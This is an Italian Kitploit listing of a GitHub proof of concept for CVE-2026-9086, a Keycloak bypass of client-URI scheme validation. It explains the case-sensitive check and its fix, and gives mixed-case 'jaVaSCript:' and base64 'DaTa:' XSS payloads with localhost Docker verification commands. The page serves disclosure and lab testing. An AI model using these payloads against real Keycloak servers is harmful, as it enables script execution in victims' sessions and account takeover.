Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-9086-poc — CVE-2026-9086 proof-of-concept per il bypass della convalida dell'URI del client Keycloak tramite payload XSS `javascript:` e `data:` con maiuscole/minuscole miste, con verifica basata su Docker delle versioni vulnerabile e corretta. | Kitploit
Strumenti/GitHubGitHub/saku0512/cve-2026-9086-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebApprendimento e FormazioneLab e Pratica
GitHubsaku0512/cve-2026-9086-poc

CVE-2026-9086-poc

CVE-2026-9086 proof-of-concept per il bypass della convalida dell'URI del client Keycloak tramite payload XSS `javascript:` e `data:` con maiuscole/minuscole miste, con verifica basata su Docker delle versioni vulnerabile e corretta.

Vedi Repository
121 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-9086: Bypass della validazione dello schema URI di Keycloak — PoC XSS

Versione inglese

Panoramica

Questo repository è un Proof of Concept (PoC) della vulnerabilità Cross-Site Scripting (XSS) CVE-2026-9086 presente nella validazione degli URI dei client di Keycloak.

La versione vulnerabile di Keycloak convalidava gli schemi javascript: e data: degli URI configurati sui client distinguendo tra maiuscole e minuscole. Di conseguenza, usando notazioni miste come jaVaSCript: o DaTa:, è possibile aggirare la convalida degli schemi vietati. Poiché il browser interpreta gli schemi URI senza distinguere tra maiuscole e minuscole, se la vittima clicca un link appositamente predisposto, JavaScript potrebbe essere eseguito nell'origine di Keycloak.

Questo PoC avvia con Docker Keycloak 26.6.3 (versione vulnerabile) e 26.6.4 (versione corretta) e registra lo stesso URI in notazione mista tramite l'Admin REST API. Verifica che la registrazione avvenga con successo nella versione vulnerabile e venga rifiutata con HTTP 400 in quella corretta.

Questo PoC non apre l'URI registrato nel browser e non esegue JavaScript.


Dichiarazione di non responsabilità

Questo progetto ha il solo scopo di istruzione e di verifica di sicurezza autorizzata. Non utilizzarlo per verifiche non autorizzate su ambienti Keycloak di terzi. L'autore non si assume alcuna responsabilità per usi impropri, danni o attività illegali derivanti dall'uso di questo strumento.


Dettagli della vulnerabilità

  • ID CVE: CVE-2026-9086
  • Prodotto: Keycloak / Red Hat build of Keycloak
  • Tipo: Cross-Site Scripting (CWE-79)
  • CVSS v3.1: 7.3 Alto (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)
  • Privilegi richiesti: privilegio manage-client o accesso all'endpoint di registrazione dei client
  • Interazione dell'utente: è richiesto il clic su un link appositamente predisposto
  • Versione target del PoC: Keycloak 26.6.3
  • Versione corretta del PoC: Keycloak 26.6.4
  • Ambito di impatto (NVD CPE): Red Hat build of Keycloak da 26.4 a 26.4.13 esclusa, da 26.6 a 26.6.4 esclusa

Causa principale

Il DefaultClientValidationProvider precedente alla correzione confrontava gli schemi vietati usando String.equals().

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equals("data")
        || uri.getScheme().equals("javascript"))) {
    // reject
}

Poiché java.net.URI#getScheme() preserva le maiuscole/minuscole dell'input, i seguenti URI non corrispondono al confronto e superano la validazione.

root@kitploit:~
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+

Nella versione corretta viene usato equalsIgnoreCase().

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equalsIgnoreCase("data")
        || uri.getScheme().equalsIgnoreCase("javascript"))) {
    // reject
}

Proof of Concept (utilizzo)

1. Avvio dell'ambiente

Avvia la versione vulnerabile e quella corretta con Docker Compose.

root@kitploit:~
docker compose up -d

Servizi avviati:

URLVersioneRisultato atteso
http://localhost:8180Keycloak 26.6.3Registrazione URI riuscita (vulnerabile)
http://localhost:8181Keycloak 26.6.4HTTP 400 (corretto)

Il primo avvio richiede un po' di tempo. Puoi controllare lo stato con il seguente comando:

root@kitploit:~
docker compose logs -f

Quando in entrambi i log compare Listening on, termina la visualizzazione dei log con Ctrl+C.

2. Verifica della versione vulnerabile

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8180 \
  -u admin \
  -p admin \
  --expect vulnerable

Output atteso:

root@kitploit:~
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.

Lo script recupera nuovamente il client creato tramite l'Admin API e verifica anche che l'URI appositamente predisposto sia stato salvato.

3. Verifica della versione corretta

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8181 \
  -u admin \
  -p admin \
  --expect fixed

Output atteso:

root@kitploit:~
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.

4. Verifica dello schema data:

Specificando --scheme data, puoi verificare URI DaTa: in notazione mista.

root@kitploit:~
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed

5. Pulizia

root@kitploit:~
docker compose down -v

Funzionamento del PoC

exploit.py esegue solo le seguenti operazioni:

  1. Ottiene un token di accesso amministratore utilizzando admin-cli
  2. Genera un ID client casuale
  3. Imposta un URI jaVaSCript: o DaTa: in notazione mista in redirectUris
  4. Invia una richiesta di creazione client a /admin/realms/master/clients
  5. Nella versione vulnerabile, recupera il client salvato e verifica l'URI
  6. Nella versione corretta, verifica l'HTTP 400 e l'errore relativo allo schema vietato

Non avvia il browser, non passa all'URI registrato e non esegue JavaScript.

Mitigazioni

Aggiorna Keycloak 26.6.x alla 26.6.4 o successiva e Red Hat build of Keycloak 26.4.x alla 26.4.13 o successiva.

Inoltre, verifica le configurazioni URI dei client esistenti e rimuovi tutti i valori che utilizzano javascript: o data:, indipendentemente da maiuscole e minuscole. Limita inoltre il privilegio manage-client e l'accesso all'endpoint di registrazione dei client al minimo necessario.

Riferimenti

  • NVD: CVE-2026-9086
  • Red Hat: CVE-2026-9086
  • Keycloak issue #50347
  • Keycloak fix commit 32cdceb
Scarica lo strumento